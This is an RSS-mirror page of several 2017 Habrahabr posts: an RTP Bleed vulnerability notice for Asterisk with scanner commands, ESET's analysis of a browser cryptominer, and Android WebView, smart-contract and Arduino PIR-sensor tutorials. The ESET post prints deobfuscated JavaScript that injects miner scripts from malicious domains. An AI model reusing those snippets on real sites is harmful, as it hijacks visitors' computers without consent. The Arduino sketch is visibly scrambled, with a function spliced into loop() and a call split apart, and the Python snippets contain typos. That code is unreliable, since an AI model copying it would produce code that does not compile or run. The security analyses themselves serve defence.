-Поиск по дневнику

Поиск сообщений в rss_rss_hh_full

 -Подписка по e-mail

 

 -Постоянные читатели

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 1

Habrahabr








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Sci-fi для стартапа: как связаны технологическое предпринимательство и научная фантастика

Пятница, 15 Сентября 2017 г. 13:47 + в цитатник

Метки:  

[Перевод] Путешествие из Node в Crystal

Пятница, 15 Сентября 2017 г. 13:47 + в цитатник

Метки:  

[Перевод] Путешествие из Node в Crystal

Пятница, 15 Сентября 2017 г. 13:47 + в цитатник

Метки:  

RTP Bleed: Опасная уязвимость, позволяющая перехватывать VoIP трафик

Пятница, 15 Сентября 2017 г. 13:37 + в цитатник
antgorka сегодня в 13:37 Разработка

RTP Bleed: Опасная уязвимость, позволяющая перехватывать VoIP трафик


    В популярном решении для организации IP-телефонии Asterisk обнаружена уязвимость, позволяющая проводить инжект RTP пакетов в разговор или прослушивать RTP трафик.

    Как это работает


    Чтобы проэксплуатировать уязвимость, атакующему нужно отправить RTP пакет на порт сервера, к которому в данный момент привязан RTP стрим. Если сервер уязвим, то он ответит пакетами RTP стрима, предназначенными для абонента, который на самом деле использует этот порт для разговора. Данная уязвимость не требует от атакующего находиться между сервером и абонентом. Хотя по названию она напоминает heartbleed, в действительности уязвимость скорее позволяет провести, как раз таки, MITM атаку.

    Это становится возможным из-за алгоритма работы некоторых RTP прокси. В процессе решения «проблем», связанных с доставкой RTP пакетов при использовании NAT, прокси не требует никакой аутентификации для внесения в свою внутреннюю таблицу информации о конечных IP адресе и порте, на которые следует отправлять RTP ответы, чтобы они были доставлены абоненту. RTP прокси «запоминает» пары IP/Порт основываясь на том, с какого IP/порта прокси получает RTP пакеты от абонента.

    Таким образом, для того чтобы получить пакеты от стороннего абонента, нужно лишь знать RTP порт, который используется абонентом и начать отправлять на него RTP пакеты, тем самым вводя RTP прокси в заблуждение.

    Уязвимости подвержены версии Asterisk c 11.4.0 по 14.6.1.

    Подробнее изучить проблему можно на официальном сайте уязвимости rtpbleed.com

    Инструменты


    Чтобы проверить, уязвимы ли ваши системы к RTP Bleed можно воспользоваться бесплатным инструментом rtpnatscan.

    Для установки нужно склонировать репозиторий и скомпилировать утилиты

    git clone https://github.com/kapejod/rtpnatscan.git
    cd rtpnatscan
    make rtpnatscan
    make rtcpnatscan

    Далее нужно совершить звонок, проверить какие порты используются для RTP, например через CLI Asterisk

    asterisk -r
    rtp set debug on

    Далее, на сторонней машине запустить сканирование rtpnatscan и попробовать получить RTP пакеты

    ./rtpnatscan сервер начальный_порт конечный_порт число_пакетов 

    Для этого не нужно использовать никакие MITM техники, вроде ARP-спуфинга. Нужно лишь иметь возможность отправлять RTP пакеты на уязвимый сервер и порт.

    Если удаленный сервер отправил RTP пакеты в ответ, значит ваша конфигурация уязвима.

    rtpnatscan это лишь сканер и не позволяет прослушивать разговор.

    Помимо утилиты rtpnatscan, существует платный инструмент, имеющий более широкие возможности.

    Как защититься


    Прежде всего нужно проверить, уязвимы ли ваши системы к RTP Bleed при помощи инструмента, описанного выше.

    Существует официальный патч для Asterisk, но он не полностью закрывает уязвимость, поэтому есть дополнительный патч, который рекомендуется также применить.

    Если нет возможности установить патч, нужно не задавать параметр nat=yes в конфигурации Asterisk, если это допустимо в вашем случае.

    Так же рекомендуется использовать шифрование голосового трафика, чтобы даже при перехвате RTP пакетов атакующий не получил доступ к конфиденциальной информации.
    Original source: habrahabr.ru (comments, light).

    https://habrahabr.ru/post/337976/


    Метки:  

    В единстве — прибыль. ESET изучает браузерный майнер

    Пятница, 15 Сентября 2017 г. 13:37 + в цитатник
    esetnod32 сегодня в 13:37 Администрирование

    В единстве — прибыль. ESET изучает браузерный майнер

      В последние месяцы мы обнаруживали JavaScript файлы, очевидно предназначенные для майнинга криптовалют напрямую в браузере. Киберпреступники давно освоили майнинг, однако обычно они устанавливают на машины жертв вредоносное ПО, либо потенциально нежелательные приложения (PUA). В данном случае майнинг производится в браузере, когда пользователь посещает определенные сайты. Нет необходимости искать уязвимости и/или заражать компьютер – достаточно браузера с включенным JavaScript (по умолчанию в большинстве браузеров).

      Обзор


      По данным телеметрии ESET, один из векторов распространения угрозы – вредоносная реклама (malvertizing). Тип задач с высокой загрузкой ЦП блокирует большинство рекламных сетей, так как это снижает качество взаимодействия с пользователем. Может показаться, что идея майнинга в браузере противоречит здравому смыслу, поскольку добыча биткоинов требует высокопроизводительных CPU. Но авторы веб-майнера выбрали криптовалюты, не требующие наличия специального оборудования – проще обеспечить достаточное число компьютеров, «заражая» сайты, а не сами машины.

      Подобные кампании могут производиться в любой стране, но конкретно эта угроза преобладает в России, Украине и Беларуси (см. рисунок ниже). Причиной таргетирования, вероятно, стал выбор языка сайтов, в которые были внедрены скрипты.


      Рисунок 1. Страны, где наиболее активен веб-майнер, по данным телеметрии ESET

      На рисунке 2 показан рейтинг одного из доменов: –reasedoper[.]pw, на котором были размещены эти скрипты, в Cisco Umbrella Top 1M. Мы отметили существенный рост DNS-поисков по этому адресу за март-апрель 2017. А 28 июня 2017 года reasedoper[.]pw достиг 26300-й строки – сопоставимый уровень популярности имеет известный сервис GitHub Gist (gist.github.com), занявший 26293-ю строку на ту же дату.


      Рисунок 2. Рейтинг reasedoper[.]pw в Cisco Umbrella Top 1M. Чем ниже – тем выше популярность.

      История


      Идея майнинга криптовалют в браузере не является чем-то новым. В 2013 году студенты Массачусетского технологического института (MIT) основали компанию Tidbit, которая предлагала веб-сервис по майнингу биткойнов. Вместо показа рекламы администраторы сайтов могли зарабатывать на майнинге, добавив скрипт Tidbit к своим сайтам. Вскоре основатели получили повестку в суд, поскольку использовали вычислительные мощности пользователей без их согласия. В итоге стороны пришли к мировому соглашению, но проект Tidbit пришлось свернуть.

      Ранее несколько других сервисов, таких как bitp[.]it, предлагали майнинг в браузере. Сервисы прекратили существование из-за малой эффективности майнинга биткоинов при помощи стандартного CPU/GPU. Например, проект bitp[.]it закрылся в июле 2011 года.

      Как происходит распространение


      Метод распространения скрипта этого типа определяет, легитимен он или нежелателен. В этом случае мы обнаружили два способа, позволяющих заставить пользователя выполнить скрипты: вредоносная реклама или жестко запрограммированный фрагмент кода JavaScript.


      Рисунок 3. Схема распространения майнинговых скриптов.

      Вредоносная реклама

      Основной способ распространения майнинговых скриптов – вредоносная реклама. В его основе покупка трафика у рекламной сети и распространение вредоносного скрипта вместо обычной рекламы. В этом конкретном случае мы не уверены, было ли применено внедрение скрипта, либо listat[.]biz был скомпрометирован. Но listat[.]biz действительно подозрителен, потому что он, похоже, копирует LiveInternet counter (рейтинг сайтов LiveInternet), легитимный счетчик посетителей. Более того, многие подозрительные домены были зарегистрированы на тот же адрес электронной почты, включая lmodr[.]biz, который также присутствует в этой вредоносной цепочке.

      Основные сайты, предоставлявшие трафик для майнинговых скриптов в течение июля 2017, показаны на следующем рисунке. Мы обратили внимание, что здесь преобладают сайты с потоковым видео или браузерными играми. В этом есть смысл, так как пользователи склонны проводить время на одной и той же странице. Кроме того, у таких страниц ожидаемо высокая загрузка ЦП, что позволяет замаскировать дополнительную нагрузку от майнингового скрипта. Так ему удается работать дольше и использовать большую вычислительную мощность.


      Рисунок 4. Сайты, предоставляющие трафик майнинговым скриптам, по данным телеметрии ESET.

      Сайт, за которым мы наблюдали, с наибольшей вредоносной рекламной активностью, okino[.]tv, достаточно популярен. На момент написания статьи его рейтинг в Alexa составлял 907 по России и 233 по Украине. Высокие позиции занимали и другие используемые в кампании сайты, находящиеся в рейтинге Top 1000 Alexa по России.


      Рисунок 5. Рейтинг Alexa для Okino[.]tv.


      Рисунок 6. Загрузка ЦП при посещении сайта wotsite[.]net.

      Ниже на рисунке 7 приведен интересный образец цепочки переадресаций. Первые три переадресации внедряют скрипт, предоставляемый следующим переходом, как показано на рисунках 8, 9 и 10. Первый домен, используемый в переадресации (skyadsvideo1[.]ru в нашем примере), не всегда совпадает.

      Мы также могли наблюдать code.moviead55[.]ru. Оба принадлежат одинаковым IP адресам – 167.114.238.246 и 167.114.249.120. По данным Whois по домену skyad[.]video, чей поддомен code.skyad[.]video также принадлежит тем же двум адресам, домены указывают на связь с владельцем рекламной сети SkyAdVideo.


      Рисунок 7. Цепочка переадресаций от okino[.]tv к майнинговому скрипту.

      
      

      Рисунок 8. Со стартовой страницы Okino[.]tv.

      var script = document.createElement('script');
      script.src = '//lmodr[.]biz/mdstat2.php';
      script.async = true;
      document.head.appendChild(script)

      Рисунок 9. Из скрипта на Skyadsvideo1[.]ru/code.php (после деобфускации).

      var script = document.createElement('script');
      script.src = '//listat[.]biz/3.html?group=mdstat2_net&seoref=' + encodeURIComponent(document.referrer) + '&rnd=' + Math.random() + '&HTTP_REFERER=' + encodeURIComponent(document.URL);
      script.async = true;
      document.head.appendChild(script);

      Рисунок 10 – lmodr[.]biz/mdstat2.php.

      Поиск по PassiveTotal показывает, что listat[.]biz производил переадресации только на скрипты для майнинга, кроме 1 июня и 5 июля, когда он также перенаправлял пользователя на настоящие веб-счетчики посещений и на anstatalsl[.]biz. Похоже, lmodr[.]biz и listat[.]biz используются только для внедрения майнинговых скриптов.

      function show_260() {
          var script = document.createElement('script');
          script.src = '//mataharirama[.]xyz/launcher.9.single.js';
          script.async = true;
          document.head.appendChild(script);
      }
      show_260();

      Рисунок 11. listat[.]biz/3.html.

      К нашему удивлению мы заметили, что moviead55[.]ru, первый переход, также мог внедрять майнер. Он выложен прямо на сайте и может майнить криптовалюту ZCash. Он использует пул, расположенный на ws.zstat[.]net:8889, а коммуникация происходит посредством протокола Web socket. Однако мы не обнаружили сходства в коде со скриптами, выложенными на reasedoper[.]pw. Похоже, что это разные группы, занимающиеся извлечением выгоды за счет вычислительной мощности своих посетителей.

      Жестко запрограммированный код JavaScript

      Мы также обнаружили в кэше Google примерно 60 сайтов, в которые были внедрены почти такие же фрагменты JavaScript, как на рисунке 10. Стартовая страница этих сайтов внедряет скрипт, полученный по адресу script.php.

      https://habrahabr.ru/post/337960/


      Метки:  

      Web-приложения в Android без Cordova, Phonegap и SMS

      Пятница, 15 Сентября 2017 г. 12:45 + в цитатник
      musicriffstudio сегодня в 12:45 Разработка

      Web-приложения в Android без Cordova, Phonegap и SMS

        Начиная с 5 версии Android компонент WebView поставляется не как часть системы, а как обычное приложение которое может быть обновлено из Google Play:

        image

        Что это даёт разработчикам? Теперь HTML-приложения можно встраивать в .apk без дополнительных костылей. Все возможности HTML5 будут доступны.

        Рассмотрим пример публикации в Google Play реального HTML5 приложения.

        Готовое приложение можно скачать в Google Play, все исходные файлы (JS/HTML, ресурсы, код Java-оболочки) доступны в справке там же.

        Шаг 1. Создание приложения HTML5 и настройка окружения


        Этот шаг пропустим.

        Если у вас нет готового приложения в HTML5 то и публиковать в Google Play пока нечего.
        Последнюю Android Studio можно самостоятельно скачать тут.
        Регистрация аккаунта в Google Play Console также выходит за рамки примера.

        Шаг 2. Создание приложение Android


        Открываем Студию, создаём новый проект и в минимальный API Level указываем как 21 (т.е. Android 5.0). Студия подсказывает что на данный момент это охватывает более двух третей устройств:

        image

        в ближайшие пару лет более старые устройства канут в Лету, но пока так.

        В приложении нам нужна только одна (одно?) Activity содержащее WebView. Весь код буквально убирается на одной странице:

        image

        если интересно, его можно посмотреть по ссылке в приложении.

        Всё что нам нужно это при старте в onCreate сделать пару настроек и открыть файл HTML-страницей. Примерно так

        WebView webView = (WebView) findViewById(R.id.webview);
        WebSettings webSettings = webView.getSettings();
        webSettings.setJavaScriptEnabled(true);
        webSettings.setDomStorageEnabled(true);
        webView.loadUrl("file:///android_asset/index.html");

        Шаг 3. Добавление файлов HTML


        Добавляем в проект папку Asset:

        image

        и вываливаем туда наши файлы. Это всё.

        Шаг 4. Интеграция с Android


        В приложении есть внешние ссылки (например на исходники в GitHub или на создание сообщения в Twitter). Для этого сделаем свою реализацию shouldOverrideUrlLoading, примерно так:

        
        @Override
        boolean shouldOverrideUrlLoading(String url) {
        		String host = Uri.parse(url).getHost();
        		if (host.trim().length() > 0) {
        			Uri webpage = Uri.parse(url);
        			Intent myIntent = new Intent(Intent.ACTION_VIEW, webpage);
        			startActivity(myIntent);
        			return true;
        		} else {
        			return false;
        		}
        	}
        

        — всего несколько строк, из них видно, что в случае ссылки на локальную страницу (в host пустая строка) оно не перехватывается и открывается в нашем WebView.

        Если это внешняя страница то ссылка передаётся системе и она сама решит, нужно ли открыть её в Twitter, в выбранном пользователем браузере или ещё как-то.

        Иногда нужно сделать наоборот и указать системе перехватывать некоторые ссылки и открывать их в нашем приложении. Для этого добавим в манифесте для нашего Activity дополнительный фильтр:

        
                        
                        
                        
                        
                    
        

        — теперь любые ссылки в почте или веб-страницах будут проверяться на соответствие нашему сервису. Если это ссылка на наш сервис то будет предложено его открыть в нашем приложении:

        image

        Итого


        Файл инсталляции занимает меньше 4Мб, есть полная интеграция с платформой Android, доступны все средства HTML5 (в данном примере это Web Audio).

        В ближайшие пару лет доля старых устройств снизится до нуля и от Cordova можно будет полностью отказаться.
        Original source: habrahabr.ru (comments, light).

        https://habrahabr.ru/post/337990/


        Метки:  

        О смарт-контрактах простыми словами

        Пятница, 15 Сентября 2017 г. 11:55 + в цитатник
        Ramon сегодня в 11:55 Разработка

        О смарт-контрактах простыми словами

          Добрый день! Ранее у нас в блоге были посты на блокчейн темы, в которых нередко возникали дискуссии о распределенных вычислениях в блокчейне. По мотивам этих дискуссий и возник этот пост.

          Итак давайте попробуем сегодня разобраться, что такое смарт-контракты (умные контракты). Сначала мы достаточно общо обсудим сам концепт, а потом немного копнем в реализацию смарт-контрактов на примере блокчейна Ethereum.

          О концепте смарт-контрактов


          Термин «смарт-контракт» уже устоялся и по сути обозначает определенный код, который выполняется на какой-либо блокчейн-платформе таким образом, что его выполнение проверяется независимыми сторонами.

          Что это значит? Это распределенные вычисления? В привычном нам понимании все же нет.

          image

          Когда мы говорим о распределенных вычислениях, обычно подразумевается распределение нагрузки. Скажем, у нас есть задача посчитать в огромном текстовом файле вхождения определенного слова. Мы режем файл на несколько частей, раздаем эти части на разные ноды (например, используя Hadoop), каждая выполняет подсчет и выдает ответ. Мы суммируем ответы и получаем результат. Таким образом мы значительно ускоряем выполнение задачи.

          Если же говорить о смарт-контрактах, то тут совсем другая ситуация. Тут мы не режем файл на отдельные части, мы каждой ноде отдаем весь файл целиком, и каждая нода выдает нам один и тот же результат (в идеале). Вернемся к нашему вопросу: попадает ли такое действие под определение распределенных вычислений? Ну в целом почему нет? Они же распределены и они же вычисления? Только в данном случае мы говорим не о распределении нагрузки, а о распределении доверия.

          И да, необходимо отметить, что такой концепт сложно масштабируется, потому что в него изначально не заложены необходимые механизмы. Для чего же может быть нужна такая конструкция? Наиболее очевидный пример — это создание общественного договора (контракта) между двумя и более сторонами. Отсюда и название концепта — «смарт-контракт». Стороны фиксируют договоренности и условия выполнения того или иного сценария развития отношений между собой, при помощи языка программирования, таким образом, что наступление определенных событий будет автоматически вызывать выполнение предопределенного кода.

          Классический пример подобного контракта, описанный еще в 1996 году Ником Сабо, — вендинг-машина. Она работает всегда автоматически по строгому набору правил: вы вносите деньги, делаете выбор — машина отдает товар. Внеся деньги, вы не можете передумать и попросить их вернуть. В случае с умным контрактом код становится своего рода законом, его нельзя оспорить, и он всегда будет выполняться при наступлении необходимых условий.

          Здесь необходимо сделать уточнение, что текущие реализации смарт-контрактов (далее мы будем говорить о сети Ethereum) все же по сути история, замкнутая в блокчейн-среде. Что это значит? Нельзя написать контракт, который будет получать данные извне (например, от поставщиков данных о погоде) и реализовывать логику на этих данных. Тут есть определенный подвижки, например Microsoft работает над концептом криплетов или существуют, так называемые, ораклы, но пока, думаю, там есть куда расти.

          Потому предложу другой пример смарт-контракта, который замкнут полностью в блокчейне. Лотерея, причем абсолютно честная и прозрачная. Вы отправляете транзакцию на адрес смарт-контракта, и он по заранее заложенной в нем логике (пусть в ней будет какой-то рандомизатор) принимает решение, выиграли вы или нет. Если вы выиграли, вы получаете весь накопленный в смарт-контракте куш, а если проиграли, то ваша транзакция идет в общую копилку для будущих игроков.

          Все эти примеры относительно просты и несколько оторваны от реальной жизни. Какую же пользу можно извлечь из работы умных контрактов, если подходить к ним серьезно? Сам концепт проверяемого исполнения кода позволяет строить системы, которые ранее были недоступны или же их создание было сильно затруднено.

          Положим, у вас есть определенное сообщество, в котором необходимо принять какое-то решение. Допустим, это решение крайне важное, и сообщество не склонно просто так довериться отдельным своим членам. Возьмем как пример консорциум банков. Логично предположить, что ни один член консорциума не захочет делегировать проведение вычислений одному банку, особенно когда на основании этих вычислений будет приниматься наше «самое важное решение». Ведь, отдав и данные, и возможность проводить эти вычисления в одни руки, вы можете поставить свой бизнес в рискованное положение, и даже открытый код вычислений не убедит вас в правильности выполнения этого кода на чужом сервере. Вы захотите это выполнение проверить. И вот тут мы получаем ту самую пользу из концепта проверяемого исполнения: участники способны объединяться для выполнения общей задачи или принятия решения без центрального оператора и таким образом повышать эффективность своих бизнесов.

          Да, смарт-контракты не слишком-то масштабируются в текущих реализациях, потому что в них это не заложено. Но даже сейчас можно тяжелые вычисления проводить вне среды смарт-контрактов и фиксировать в них лишь определенные опорные точки, о которых стороны могут договориться на берегу, таким образом достигнув в каких-то сценариях необходимой скорости работы.

          Техническая сторона вопроса


          Теперь попробуем поговорить о технической стороне реализации смарт-контрактов на примере блокчейн Ethereum. Как выглядит процесс написания, публикации и выполнения смарт-контракта?

          В этой сети для написания смарт-контрактов используется язык Solidity, который несколько похож на JS, и он является Тьюринг-полным (то есть на нем можно реализовать любую вычислимую функцию).

          Сам код выполняется в так называемом Ethereum Virtual Machine (EVM). Надо обратить внимание, что код выполняется и проверяется всеми участниками системы, потому необходим некий механизм, который как-то ограничит потребление ресурсов каждым смарт-контрактом (иначе можно бесконечный цикл написать). Потому в Ethereum введена сущность gas (топливо). Контракт в Ethereum может выполнять любые инструкции, вызывать другие контракты, писать и читать данные и так далее. Все эти операции потребляют топливо, топливо оплачивается криптовалютой (Ether). Цена на топливо криптовалюты Ethеr формируется динамически рынком. Триггером выполнения контракта является транзакция. Стоимость топлива, которое сжигается в определенной транзакции, снимается с аккаунта, который транзакцию запустил. Кроме того, есть лимит потребления топлива, сделан он для того, чтобы защитить аккаунт от ошибок в написании контракта, которые могут привести к бесконтрольному сгоранию всей криптовалюты на данном аккаунте.

          Важно отметить, что среда смарт-контрактов все же сильно отличается от привычной нам среды выполнения кода. Ошибка может стоить очень дорого, сами операции дорогие и медленные. Затруднен механизм обновления смарт-контракта. Вы, по сути, пишете новый и должны убедить стороны использовать этот новый смарт-контракт. Нельзя сказать, что никак не перейти на новую версию своего контракта, но это часто новый общественный договор. Если вдуматься — разительное отличие, когда вы привыкли просто выкатывать апдейты вашей централизованной системы потребителям, не слишком интересуясь их мнением. Строя какую-то систему для работы в реальных жизненных сценариях на смарт-контрактах, стоит понимать эти ограничения.
          Original source: habrahabr.ru (comments, light).

          https://habrahabr.ru/post/337984/


          Метки:  

          Методы разработки потока программного обеспечения датчиков движения, работающих с Arduino

          Пятница, 15 Сентября 2017 г. 11:53 + в цитатник
          Scorobey сегодня в 11:53 Разработка

          Методы разработки потока программного обеспечения датчиков движения, работающих с Arduino

            Привет, Хабр! Хочу предложить реализацию двух подходов разработки программного обеспечения датчика движения, работающего совместно с платой Arduino. Ни датчик движения [1], ни Arduino [2]. в дополнительной рекламе не нуждаются.

            Сравним существующие методы программирования с точки зрения простоты и удобства использования. Предлагаем начать статью со знакомства с характеристиками выбранного датчика движения.

            Основным датчиком с которым будем использовать является датчик движения PIR [3].

            PIR датчики небольшие, недорогие, потребляют меньше энергии и совместимы с аппаратными платформами, такими как Arduino.

            Он использует пару пироэлектрических датчиков, которые обнаруживают инфракрасное излучение. Он имеет радиус действия до 6 метров, что достаточно для проекта.


            Кроме того понадобятся светодиоды: зеленый и красный. Шнуры, резисторы и макет: для завершения соединений понадобится пучок проводов и макет. Также понадобятся два резистора на 220 Ом и один 10 кОм.

            Следующим составляющим будет плата Arduino: плата Arduino Uno. Для связи платы Arduino с компьютером используем кабель USB.

            Разработка потока программного обеспечения


            Прежде чем приступить к работе с аппаратной системой необходимо набросать проект в виде блок схемы. Используем проект с циклом, приведенный на рисунке.

            Проект выполняется в цикле, как только обнаружено движение, и выполняются соответствующие действия светодиода:


            С помощью единственной инструкции Arduino вы можете включить или выключить светодиод.

            Для выполнения операции мигания необходимо будет повторно выполнять действия включения и выключения с временной задержкой между действиями, чтобы выход датчика PIR мог успокоиться.

            Будем использовать один и тот же поток при написании кода для обоих методов программирования.

            Проектирование аппаратной системы


            Самым простым способом проектирования аппаратного обеспечения таких проектов является прототипирования. Инструмент, используемый для этой цели, называется Fritzing.

            Fritzing активно поддерживает Arduino и другие популярные аппаратные платформы с открытым исходным кодом. Следующий рисунок показывает схему для проекта, разработанного с использованием Fritzing. Компоненты подключаем, как показано на рисунке:


            Для завершения сборки схемы выполним следующие шаги:

            1. Подключить VCC (+ 5V) и заземлите от Arduino к макету.
            2. Подключить анод (длинный провод) красного светодиода к цифровому выводу 12 платы Arduino. Подключить катод (короткий провод) красного светодиода к земле с помощью резисторов на 220 Ом.
            3. Подключить анод (длинный провод) зеленого светодиода к цифровому выводу 13 платы Arduino. Подключите катод (короткий провод) зеленого светодиода к земле с помощью резисторов на 220 Ом.
            4. Подключить VDD датчика PIR к VCC на макете. Используйте один и тот же цвет проводки для представления одной и той же категории соединений. Это очень поможет в устранении неисправностей цепи.
            5. Подключить сигнал (средний вывод) датчика PIR к цифровой оси 7 Arduino с помощью нагрузочного резистора 10 кОм.

            Ниже приведена принципиальная схема схемы электроники, которую мы разработали ранее. Диаграмма также получена с помощью Fritzing:


            Теперь система готова к запуску программы Arduino.

            Тестирование подключений оборудования


            После завершения подключения цепи переходим непосредственно к разделам программирования. Рекомендуется использовать для проверки подключения цепи и проверки состояния датчика.

            Предполагаем, что плата Arduino уже снабжена скетчом StandardFirmata. В противном случае необходимо загрузить скетч StandardFirmata на плату Arduino.

            Лучший способ проверить реализацию схемы — использовать программу тестирования Firmata, которую была описана в предыдущей статье. Согласно настройке проекта, датчик PIR выдает события на вывод 7 Arduino.

            В тестовой программе измените тип вывода 7 на Input и помашите рукой по датчику, и вы сможете увидеть состояние булавки как показано на следующем скриншоте:


            Проверим соединения светодиодов, установив контакты 12 и 13 в качестве выходных контактов и переключив кнопки, чтобы установить состояние контактов. Если светодиоды мигают при переключении кнопки, то соединения работают безупречно.

            Метод 1 — использование автономного скетча Arduino


            Для запуска проекта выполняем:

            1. Открыть Arduino IDE.
            2. В меню «Файл» открыть новый альбом.
            3. Скопировать следующий код Arduino в скетч и сохранить его:

              Код
              int pirPin = 7; //Pin number for PIR sensor
              int redLedPin = 12; //Pin number for Red LED
              int greenLedPin = 13; //Pin number for Green LED
              void setup(){
               Serial.begin(9600); 
               pinMode(pirPin, INPUT);
               pinMode(redLedPin, OUTPUT);
               pinMode(greenLedPin, OUTPUT);
              }
              void loop(){
              // Function which blinks LED at specified pin number
              void blinkLED(int pin, String message){
                digitalWrite(pin,HIGH);
                Serial.println(message); 
                delay(1000);
                digitalWrite(pin,LOW);
                d  int pirVal = digitalRead(pirPin);
              if(pirVal == LOW){ //was motion detected
                  blinkLED(greenLedPin, "No motion detected.");
                } else {
                  blinkLED(redLedPin, "Motion detected.");
                }
              }
              elay(2000);
              }
              

            4. Компилировать и загрузить скетч на доску Arduino.

            Как и любая другая программа Arduino, код имеет две обязательные функции: setup () и loop (). Он также имеет настраиваемую функцию blinkLED () для конкретного действия, которое будет объяснено позже.

            Функция setup ()


            В предыдущем фрагменте кода были назначены переменные для вывода Arduino в начале программы. В функции setup () мы сконфигурировали эти переменные для определения как входных или выходных выводов:

            pinMode(pirPin, INPUT);
            pinMode(redLedPin, OUTPUT);
            pinMode(greenLedPin, OUTPUT);

            Здесь pirPin, redLedPin и greenLedPin являются цифровыми булавками 7, 12 и 13 соответственно. В этой же функции мы также сконфигурировали плату Arduino для последовательного соединения со скоростью 9600 бит /с:

            Serial.begin(9600);

            Функция loop ()


            В функции loop ()многократно контролируем входной сигнал с цифрового контакта pirPin для обнаружения движения. Выход этого контакта ВЫСОКИЙ, когда обнаружено движение, и НИЗКИЙ в противном случае.

            Эта логика реализуется с помощью простого оператора if-else. Когда это условие выполняется, функция вызывает пользовательскую функцию blinkLED () для выполнения соответствующего действия на светодиодах. Пользовательские функции являются очень важным аспектом любого языка программирования.

            Работа с пользовательскими функциями Arduino


            Function используются, когда сегмент кода повторно выполняется для выполнения того же действия. Пользователь может создать пользовательскую функцию для организации кода или выполнения повторяющихся действий. Чтобы успешно использовать пользовательскую функцию, пользователь должен вызвать их из обязательных функций Arduino, таких как loop (), setup () или любую другую функцию, которая приводит к этим обязательным функциям:

            return-type function_name (parameters){
              # Action to be performed
              Action_1;
              Action_2;
              Return expression;
            }

            Ниже приведена настраиваемая функция, которую использовали в коде проекта:

            void blinkLED(int pin, String message){
              digitalWrite(pin,HIGH);
              Serial.println(message); 
              delay(1000);
              digitalWrite(pin,LOW);
              delay(2000);
            }

            В проекте функция blinkLED () не перенастраивает любое значение, когда оно вызывается из функции loop (). Следовательно, тип возвращаемого значения — void. При вызове функции мы передаем номер булавки и сообщение в качестве параметров:

            blinkLED(greenLedPin, "No motion
            detected.");

            Эти параметры затем используются в выполненном действии (запись сообщения на последовательный порт и настройка статуса светодиода) с помощью функции blinkLED (). Эта функция также вводит задержку для выполнения мигания с помощью функции delay ().

            Тестирование


            Спроектированная система была проверена в разделе «Тестирование аппаратного обеспечения» с помощью ручных входов через программу тестирования Firmata. Необходимо убедиться, что проект выполняет объективные задачи автономно и неоднократно.

            С портом USB, подключенным к компьютеру, необходимо открыть средство последовательного мониторинга из среды IDEArduino, перейдя в меню «Сервис» | SerialMonitor или нажав Ctrl + Shift + M. На экране последовательного монитора должно появиться сообщение, аналогичное показанному:



            При написании функции blinkLED () для выполнения действий мы включили действие для записи строки через последовательный порт. Переместите руку над датчиком PIR таким образом, чтобы датчик PIR мог обнаружить движение.

            Это событие должно заставлять систему мигать красным светодиодом и отображать строку, обнаруженную движением, на серийном мониторе. При отсутствии движения некоторое время можно увидеть зеленый светодиод, мигающий, пока не будет обнаружено следующее движение через датчик PIR.

            Метод 2 — использование Python и Firmata


            Можно использовать редактор по вашему выбору, но убедитесь, что сохраняются файлы с расширением .py. Скопируем следующие строки кода в новый файл и сохраним его как test.py:

            #!/usr/bin/python
            a = "Python"
            b = "Programming"
            printa + " "+ b

            Чтобы запустить этот файл, выполните следующую команду на терминале, где сохранен файл test.py:

            $ pythontest.py

            Вы должны иметь возможность видеть текст PythonProgramming, напечатанный на терминале. Как вы можете видеть, файл начинается с #! / Usr / bin / python, который является местом установки Python по умолчанию. Добавив эту строку в свой код Python, вы можете напрямую выполнить файл Python с терминала. В операционных системах на основе Unix вам нужно сделать исполняемый файл test.py с помощью следующей команды:

            $ chmod +xtest.py

            теперь, поскольку ваш файл является исполняемым, вы можете напрямую запустить файл, используя следующую команду:

            $. / test.py

            Теперь создадим новый файл Python со следующим фрагментом кода и запустим его. Обязательно необходимо изменить значение переменной порта в соответствии с вашей операционной системой:

            Заголовок спойлера
            # pir_1.py
            # Импортировать требуемые библиотеки
            import pyfirmata
            from time import sleep
            # Определить настраиваемую функцию для выполнения действия Blink
            def blinkLED(pin, message):
                print (message)
                board.digital[pin].write(1)
                sleep(1)
                board.digital[pin].write(0)
                sleep(1)
            # Связать порт и панель с pyFirmata    
            port = 'COM3'
            board = pyfirmata.Arduino(port)
            # Используйте поток итератора, чтобы избежать переполнения буфера
            it = pyfirmata.util.Iterator(board)
            it.start()
            # Define pins 
            pirPin = board.get_pin('d:7:i')
            print(pirPin)
            redPin = 12
            greenPin = 13
            # Check for PIR sensor input
            while True:
            # Ignore case when receiving None value from pin
                value = pirPin.read()
                while value is None:
                     pass 
                print(value)
                if value is True:
            # Perform Blink using custom function
                        blinkLED(redPin, "Motion Detected")
                else:
                        blinkLED(greenPin, "No motion Detected")
            # Выключить плату
            board.exit()
            


            В этом коде есть два основных компонента программирования: методы pyFirmata и функция Python для выполнения мигающего действия. Программа неоднократно обнаруживает события движения и выполняет мигающее действие.

            В этом методе мы реализовали оператор while, чтобы поддерживать программу в цикле, пока пользователь не завершит работу вручную. Можно завершить код, используя комбинацию клавиш Ctrl + C.

            Работа с методами pyFirmata


            Работы с платой Arduino и протоколом Firmata необходимо начать с инициализации платы Arduino в качестве переменной. Метод pyFirmata, который позволяет пользователю назначить правление переменной Python, выглядит следующим образом:

            board = pyfirmata.Arduino(port)

            Как только значение переменной присвоено, можно выполнять различные действия, такие как чтение пина или отправка сигнала на вывод с использованием этой переменной. Чтобы назначить роль контакту, используется метод get_pin (). В следующей строке кода d представляет цифровой вывод, 7 — номер вывода, а i означает, что тип вывода — это входной вывод:

            pirPin = board.get_pin('d:7:i')

            Как только pin и его роль присваиваются переменной, эта переменная может использоваться для чтения или записи значений на выводе:

            Value = pirPin.read ()

            Можно напрямую записывать данные на конкретный вывод, как описано в следующем коде:

            board.digital[pin].write(1)

            Здесь метод write (1) посылает сигнал HIGH на вывод.

            Работа с функциями Python


